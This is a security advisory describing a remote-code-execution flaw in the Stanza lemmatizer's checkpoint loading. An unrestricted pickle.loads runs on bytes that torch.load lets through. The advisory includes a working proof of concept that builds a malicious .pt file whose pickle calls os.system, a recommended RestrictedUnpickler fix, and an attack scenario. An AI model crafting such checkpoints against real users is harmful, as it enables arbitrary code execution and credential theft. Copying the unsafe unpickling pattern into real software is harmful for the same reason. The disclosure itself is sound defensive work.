CVE-2026-115878: Stanza: unsafe pickle in lemma model load enables RCE

## TL;DR Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code. Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`). A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time. ## The vulnerable path `stanza/models/lemma/trainer.py`: ```python # _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts'] def _unpack_pos_dict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler ``` ```python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact ... if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format) self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation ``` **Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed. Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle. ## Minimal PoC ```python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned") class Payload: def __reduce__(self): return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),)) buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict() gz.write(pickle.dumps(Payload(), protocol=4)) ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS} pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt") torch.save(ckpt, pt, _use_new_zipfile_serialization=False) loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact _unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip()) ``` The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime. ## Fix Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only): ```python from stanza.models.common.doc import RestrictedUnpickler def _unpack_pos_dict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load() ``` A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.

An attacker publishes a Stanza lemma model on a community hub or forum, advertised as a fine-tuned lemmatizer for a niche language or domain. They embed a gzip-compressed pickle with an `os.system` `__reduce__` payload in the checkpoint's `dicts` field. A data scientist or an automated ingestion pipeline downloads the file and builds `stanza.Pipeline(..., lemma_model_path=...)`. `torch.load(weights_only=True)` passes the bytes through, and `Trainer.load` then calls `pickle.loads` on them. The payload runs immediately, exfiltrating cloud credentials and API keys or opening a reverse shell on the ML worker.